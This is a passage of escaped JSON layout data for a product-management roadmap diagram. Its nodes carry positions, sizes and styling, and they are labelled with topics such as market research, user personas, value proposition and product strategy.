\"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 583.0510680012198,\n        \"y\": 918.4453536260916\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Competitive Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DEwte-c-jxAFpiaBXAPSO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 583.0510680012198,\n        \"y\": 918.4453536260916\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aDhSpLRZ6Sd8SnkcwtyLf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 583.0510680012198,\n        \"y\": 972.4453536260916\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Emerging Market Trends\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aBJUQvgXmvpLPOhpDTn7l\"\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 583.0510680012198,\n        \"y\": 972.4453536260916\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0y8F9x6MhApQkS1VhS8Dx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 122.682471482702,\n        \"y\": 911.9747629227817\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"User Personas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LkDLk6DsEvbFXZPGOhD0C\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 122.682471482702,\n        \"y\": 911.9747629227817\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5kt8AkCsdAdlBmsKOkKFH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 122.682471482702,\n        \"y\": 965.9747629227818\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"User Interviews\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PBDlYIyS8LAyPE6tV-kU7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 122.682471482702,\n        \"y\": 965.9747629227818\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a_5AyOKAgcg0rArZfapA_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 122.682471482702,\n        \"y\": 1019.9747629227816\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Surveys and Questionnaires\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zS_CjYSTOIkJZn-oUEvgh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 122.682471482702,\n        \"y\": 1019.9747629227816\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VwI7plziVzwkp3KZd4466\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 122.682471482702,\n        \"y\": 1073.9747629227816\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Ethnographic Research\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zS_CjYSTOIkJZn-oUEvgh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 122.682471482702,\n        \"y\": 1073.9747629227816\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tKDlfVvNym_OIqkommiJ8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 123.47240182924656,\n        \"y\": 1197.9722000809688\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"USP (Unique Selling Point)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0y8F9x6MhApQkS1VhS8Dx\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 123.47240182924656,\n        \"y\": 1197.9722000809688\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5QiNA05z4vz42CjV-UpPX\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 140.11723142037033,\n        \"y\": 1156.9722000809688\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Defining & Communicating\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 140.11723142037033,\n        \"y\": 1156.9722000809688\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"3MYjrnd6h2ZlcfaXjUbkC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 123.47240182924656,\n        \"y\": 1251.9722000809688\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Market Segmentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GbFbURxIRD76kyR9vKfdg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 123.47240182924656,\n        \"y\": 1251.9722000809688\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JhhjMPTNb646aQKlS_cji\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 122.682471482702,\n        \"y\": 1305.9722000809688\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Case Studies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GbFbURxIRD76kyR9vKfdg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 122.682471482702,\n        \"y\": 1305.9722000809688\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KnAlfSHDjLnQ7CMv5W-Ee\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 916.4592791031062,\n        \"y\": 636.3511874141951\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Market and User Research\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"Hk61DnFkfaeuxO2LSupMS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 290,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": 916.4592791031062,\n        \"y\": 636.3511874141951\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 290,\n        \"height\": 67\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"WbrOaEjm9pVz9U0sq1Sw0\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1008.6413211402974,\n        \"y\": 1188.9722000809688\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product Strategy\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"KnAlfSHDjLnQ7CMv5W-Ee\"\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": 1008.6413211402974,\n        \"y\": 1188.9722000809688\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 67\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"l-KrmCOKEfpLHq4j-9SoY\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 994.9592791031062,\n        \"y\": 1458.462524711317\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Vision & Mission\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"m46lX4dUHik_BSHQwaU2l\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 994.9592791031062,\n        \"y\": 1458.462524711317\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DnKHDm0TZ7QQUyrhPdqkV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1296.462524711317\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Statement\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zS_CjYSTOIkJZn-oUEvgh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1296.462524711317\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZCTSbMHAMSaOxlqaJImzr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1350.462524711317\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Proposition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zS_CjYSTOIkJZn-oUEvgh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1350.462524711317\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8srsCEv55zh1y4gsp-rCO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1404.462524711317\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Capabilities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zS_CjYSTOIkJZn-oUEvgh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1404.462524711317\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eKJ2XfDxu0NAKA932tbzy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1458.462524711317\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Solved Constraints\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zS_CjYSTOIkJZn-oUEvgh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1458.462524711317\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wuqZntn1ivkr9AV_09zYX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1512.462524711317\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Future Constraints\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zS_CjYSTOIkJZn-oUEvgh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1512.462524711317\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uXseNTJlteD6Fgi1bzQB4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1566.462524711317\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Reference Materials\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zS_CjYSTOIkJZn-oUEvgh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1566.462524711317\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zS_CjYSTOIkJZn-oUEvgh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1620.462524711317\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Narrative\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aDhSpLRZ6Sd8SnkcwtyLf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 575.9408118709459,\n        \"y\": 1620.462524711317\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n2AYdM2dlJfuZ97jXY49U\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 994.6413211402974,\n        \"y\": 1702.8534450923025\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Defining Goals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"m46lX4dUHik_BSHQwaU2l\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 994.6413211402974,\n        \"y\": 1702.8534450923025\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"tmlFCmEuYpcUnt8VvVP9R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1004.1413211402974,\n        \"y\": 1857.559158455468\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Target\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"E1yPzEhssJWMDLeSiL4cj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 1004.1413211402974,\n        \"y\": 1857.559158455468\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"GPRqshiha8Pi4a4ImW8-5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1004.1413211402974,\n        \"y\": 1912.559158455468\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Baseline\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"E1yPzEhssJWMDLeSiL4cj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 1004.1413211402974,\n        \"y\": 1912.559158455468\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"s8mK1llA32B69_rzOwcwN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1004.1413211402974,\n        \"y\": 1967.559158455468\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Trend\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"E1yPzEhssJWMDLeSiL4cj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 1004.1413211402974,\n        \"y\": 1967.559158455468\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"E1yPzEhssJWMDLeSiL4cj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1004.1413211402974,\n        \"y\": 2022.559158455468\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Timeframe\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DnKHDm0TZ7QQUyrhPdqkV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 1004.1413211402974,\n        \"y\": 2022.559158455468\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"3ySjcqHVSNctc5KsdwYWm\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1056.1413211402974,\n        \"y\": 1816.559158455468\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Goal Types\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1056.1413211402974,\n        \"y\": 1816.559158455468\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"6OjKcLbUZVJdUDC7if0Uy\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 581.1025368302788,\n        \"y\": 1702.028074458766\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Value Proposition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0tJ7zlgOIaioCMmVavfqz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 581.1025368302788,\n        \"y\": 1702.028074458766\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1j2ZSo7UGnBgoLpYzsA5t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 581.1025368302788,\n        \"y\": 1807.5206281723918\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Defining Value Proposition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kjKUrKdtCM95VinlluKDS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 581.1025368302788,\n        \"y\": 1807.5206281723918\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kjKUrKdtCM95VinlluKDS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 581.1025368302788,\n        \"y\": 1861.5206281723918\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Value Proposition Canvas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tmlFCmEuYpcUnt8VvVP9R\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 581.1025368302788,\n        \"y\": 1861.5206281723918\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0AQj2F1n8VKHBwuF4ywrp\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1561.4453076687587\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Value vs Features\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"m46lX4dUHik_BSHQwaU2l\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1561.4453076687587\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xu8A_QKs6lXzKPMiifNF_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1477.462524711317\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Finding Balance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GbFbURxIRD76kyR9vKfdg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1477.462524711317\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GbFbURxIRD76kyR9vKfdg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1423.462524711317\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Feature Creep\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tKDlfVvNym_OIqkommiJ8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1423.462524711317\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m46lX4dUHik_BSHQwaU2l\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1669.462524711317\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Strategic Thinking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YPqdrZguH0ArEFSe-VwKS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1669.462524711317\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qy_IXzenBOEVBMvVlXPaY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1769.8049609279972\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Competitive Strategy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tTUp4GQHvjLZYkySasQFE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1769.8049609279972\n      },\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": 